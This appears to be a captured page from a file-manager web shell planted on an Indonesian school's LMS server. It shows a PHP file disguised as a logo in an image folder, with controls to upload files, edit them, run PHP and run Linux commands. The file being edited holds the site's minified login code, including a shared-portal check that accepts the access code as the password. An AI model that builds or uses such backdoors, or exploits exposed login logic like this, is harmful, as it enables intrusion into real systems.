๐ File Manager
๐
/
/
home
/
u449181296
/
domains
/
birulogi.smakpbaleendah.sch.id
/
public_html
/
lms
/
tukang-ngatur
/
assets
/
img
/
qr-logos
/home/u449181296/domains/birulogi.smakpbaleendah.sch.id/public_html/lms/tukang-ngatur/assets/img/qr-logos
Upload
Name
Size
Date
CHMOD
Action
โ FILE โ
logo_1773801405.php
6.73 KB
2026-03-18 02:36
644
(rw-r--r--)
Edit
|
Rename
|
Preview
|
Del
Edit
import{r as s,j as e}from"./react-vendor-Cdu9POhR.js";import{v as M,t as D,e as T,d as I}from"./index-Cv4HPzFZ.js";import{q,w as R,j as U,e as _,h as K}from"./firebase-vendor-CChqQX8m.js";import{L as G}from"./router-vendor-EW88JuZe.js";import"./pdf-vendor-BoEiDn9A.js";const H=[{id:"guru_piket_shared",fallbackName:"Portal Guru Piket"},{id:"pic_5s_shared",fallbackName:"Portal PIC 5S"}],J=({onTeacherLogin:b,onStudentLogin:N})=>{const[o,f]=s.useState("teacher"),[w,v]=s.useState(""),[p,S]=s.useState(""),[m,C]=s.useState(""),[h,A]=s.useState(""),[c,d]=s.useState(!1),[k,l]=s.useState(null),y=s.useMemo(()=>o==="teacher"?{title:"Login Guru & Pegawai",subtitle:"Masuk dengan kode akses Anda.",accent:"from-blue-600 to-slate-900"}:{title:"Login Siswa",subtitle:"Masuk dengan akun siswa.",accent:"from-indigo-600 to-violet-900"},[o]),P=async(t,a)=>{const i=q(D,R("code","==",t)),j=await U(i);if(!j.empty){const r=j.docs[0],u={id:r.id,...r.data(),code:t,portalType:"teacher_regular"},n=await T(u);if((n.passwordHash||"")!==a)throw new Error("Password guru / pegawai salah.");b({...u,mustChangePassword:n.mustChangePassword===!0});return}for(const r of H){const u=_(I,"portal_accounts",r.id),n=await K(u);if(!n.exists())continue;const x=n.data(),g=String(x.code||"").trim().toUpperCase();if(x.enabled!==!1&&g===t&&a===g&&x.portalType===r.id){b({id:n.id,name:x.name||r.fallbackName,code:g,subjects:[],portalType:r.id});return}}throw new Error("Kode akses guru / pegawai tidak ditemukan.")},E=async t=>{t.preventDefault();const a=w.trim().toUpperCase();if(!(!a||!p.trim())){d(!0),l(null);try{await P(a,p.trim())}catch(i){console.error(i),l(i instanceof Error?i.message:"Terjadi kesalahan koneksi.")}finally{d(!1)}}},L=async t=>{if(t.preventDefault(),!(!m.trim()||!h.trim())){d(!0),l(null);try{const a=await M(m.trim(),h.trim());N(a)}catch(a){console.error(a),l(a instanceof Error?a.message:"Terjadi kesalahan koneksi.")}finally{d(!1)}}};return e.jsx("div",{className:"max-w-xl mx-auto mt-10 px-4 animate-fade-in",children:e.jsxs("div",{className:"relative overflow-hidden rounded-[2.5rem] border border-slate-100 bg-white shadow-2xl",children:[e.jsx("div",{className:"absolute inset-x-0 top-0 h-40 bg-gradient-to-b from-slate-50 via-white to-white"}),e.jsxs("div",{className:"relative px-6 py-8 lg:px-8 lg:py-10",children:[e.jsxs("div",{className:"flex flex-col items-center text-center",children:[e.jsx("div",{className:"flex h-20 w-20 items-center justify-center rounded-[2rem] bg-slate-50 ring-1 ring-slate-100 shadow-sm",children:e.jsx("img",{src:"/logo.png",alt:"Logo",className:"h-12 w-auto"})}),e.jsx("p",{className:"mt-5 text-[11px] font-black uppercase tracking-[0.35em] text-slate-400",children:"SELARAS ACCES"})]}),e.jsxs("div",{className:"mt-8 flex gap-2 rounded-2xl bg-slate-100 p-2",children:[e.jsx("button",{type:"button",onClick:()=>{f("teacher"),l(null)},className:`flex-1 py-3 rounded-2xl text-sm font-black transition-all ${o==="teacher"?"bg-white text-slate-900 shadow-sm":"text-slate-500"}`,children:"Guru / Pegawai"}),e.jsx("button",{type:"button",onClick:()=>{f("student"),l(null)},className:`flex-1 py-3 rounded-2xl text-sm font-black transition-all ${o==="student"?"bg-white text-slate-900 shadow-sm":"text-slate-500"}`,children:"Siswa"})]}),e.jsxs("div",{className:"mt-8 mb-6 text-center",children:[e.jsx("h2",{className:"text-2xl font-black text-slate-800",children:y.title}),e.jsx("p",{className:"mt-2 text-sm text-slate-500 leading-relaxed",children:y.subtitle})]}),o==="teacher"?e.jsxs("form",{onSubmit:E,className:"space-y-5",children:[e.jsxs("div",{className:"space-y-2",children:[e.jsx("label",{className:"block text-[10px] font-black text-slate-400 uppercase tracking-[0.24em]",children:"Kode Unik / Kode Akses"}),e.jsx("input",{type:"text",value:w,onChange:t=>v(t.target.value.toUpperCase()),placeholder:"Contoh: G-001",className:"w-full px-5 py-4 rounded-2xl bg-slate-50 ring-1 ring-slate-200 focus:ring-2 focus:ring-blue-500 outline-none text-slate-800 font-black tracking-wider uppercase",required:!0,autoFocus:!0})]}),e.jsxs("div",{className:"space-y-2",children:[e.jsx("label",{className:"block text-[10px] font-black text-slate-400 uppercase tracking-[0.24em]",children:"Password"}),e.jsx("input",{type:"password",value:p,onChange:t=>S(t.target.value),placeholder:"Masukkan password",className:"w-full px-5 py-4 rounded-2xl bg-slate-50 ring-1 ring-slate-200 focus:ring-2 focus:ring-blue-500 outline-none text-slate-800 font-bold",required:!0})]}),e.jsx("button",{type:"submit",disabled:c,className:"w-full bg-slate-900 text-white py-4 rounded-2xl font-black shadow-lg hover:bg-blue-600 transition-all disabled:opacity-60",children:c?"MEMVALIDASI...":"MASUK SESUAI ROLE"})]}):e.jsxs("form",{onSubmit:L,className:"space-y-5",children:[e.jsxs("div",{className:"space-y-2",children:[e.jsx("label",{className:"block text-[10px] font-black text-slate-400 uppercase tracking-[0.24em]",children:"NISN"}),e.jsx("input",{type:"text",value:m,onChange:t=>C(t.target.value),placeholder:"Masukkan NISN",className:"w-full px-5 py-4 rounded-2xl bg-slate-50 ring-1 ring-slate-200 focus:ring-2 focus:ring-indigo-500 outline-none text-slate-800 font-black",required:!0,autoFocus:!0})]}),e.jsxs("div",{className:"space-y-2",children:[e.jsx("label",{className:"block text-[10px] font-black text-slate-400 uppercase tracking-[0.24em]",children:"Password"}),e.jsx("input",{type:"password",value:h,onChange:t=>A(t.target.value),placeholder:"Masukkan password",className:"w-full px-5 py-4 rounded-2xl bg-slate-50 ring-1 ring-slate-200 focus:ring-2 focus:ring-indigo-500 outline-none text-slate-800 font-bold",required:!0})]}),e.jsx("button",{type:"submit",disabled:c,className:"w-full bg-indigo-900 text-white py-4 rounded-2xl font-black shadow-lg hover:bg-indigo-700 transition-all disabled:opacity-60",children:c?"MEMVALIDASI...":"MASUK DASHBOARD SISWA"})]}),k&&e.jsx("div",{className:"mt-5 rounded-2xl border border-red-100 bg-red-50 p-4 text-sm font-bold text-red-600",children:k}),e.jsx("div",{className:"mt-8 flex items-center justify-center border-t border-slate-100 pt-6",children:e.jsx(G,{to:"/admin-selaras","aria-label":"Admin Sistem",className:"inline-flex h-8 w-8 items-center justify-center rounded-full border border-slate-200/50 bg-slate-50/40 text-slate-300/60 opacity-60 transition-all hover:border-slate-300/70 hover:bg-slate-100/60 hover:text-slate-400/80 hover:opacity-80",children:e.jsxs("svg",{viewBox:"0 0 24 24",className:"h-3 w-3",fill:"none",stroke:"currentColor",strokeWidth:"1.75",strokeLinecap:"round",strokeLinejoin:"round",children:[e.jsx("rect",{x:"5",y:"11",width:"14",height:"10",rx:"2"}),e.jsx("path",{d:"M8 11V8a4 4 0 1 1 8 0v3"})]})})})]})]})})};export{J as default};
Save
๐งช PHP Preview
<?php echo 'hello'; ?>
Run PHP
๐ฅ Linux CMD
Run CMD